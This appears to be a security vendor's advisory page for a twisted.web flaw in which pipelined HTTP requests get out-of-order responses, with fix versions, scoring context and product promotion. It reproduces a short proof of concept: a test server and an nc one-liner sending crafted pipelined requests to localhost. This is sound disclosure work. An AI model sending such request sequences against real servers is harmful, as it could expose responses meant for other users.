GHSA-c8m8-j448-xjx7 is a high-severity (CVSS 8.3) CWE-444 vulnerability in twisted. A fix is available for twisted — see the affected versions and patch details below.
twisted.web has disordered HTTP pipeline response
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-c8m8-j448-xjx7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-c8m8-j448-xjx7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
twistedReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.
PoC
- Start a fresh Debian container:
docker run --workdir /repro --rm -it debian:bookworm-slim
- Install twisted and its dependencies:
apt -y update && apt -y install ncat git python3 python3-pip \
&& git clone --recurse-submodules https://github.com/twisted/twisted \
&& cd twisted \
&& pip3 install --break-system-packages .
- Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:
from twisted.web import server, resource
from twisted.internet import reactor
class TheResource(resource.Resource):
isLeaf = True
def render_GET(self, request) -> bytes:
return b"GET"
def render_POST(self, request) -> bytes:
return b"POST"
site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
- Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80
- Observe that the responses arrive out of order:
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html
POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html
GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html
POST
Impact
See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | twisted | all versions | 24.7.0rc1pip install --upgrade 'twisted==24.7.0rc1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for twisted, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update twisted to 24.7.0rc1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c8m8-j448-xjx7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-c8m8-j448-xjx7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-c8m8-j448-xjx7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Frequently Asked Questions
Is GHSA-c8m8-j448-xjx7 in your dependencies?
O3 Security finds GHSA-c8m8-j448-xjx7 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.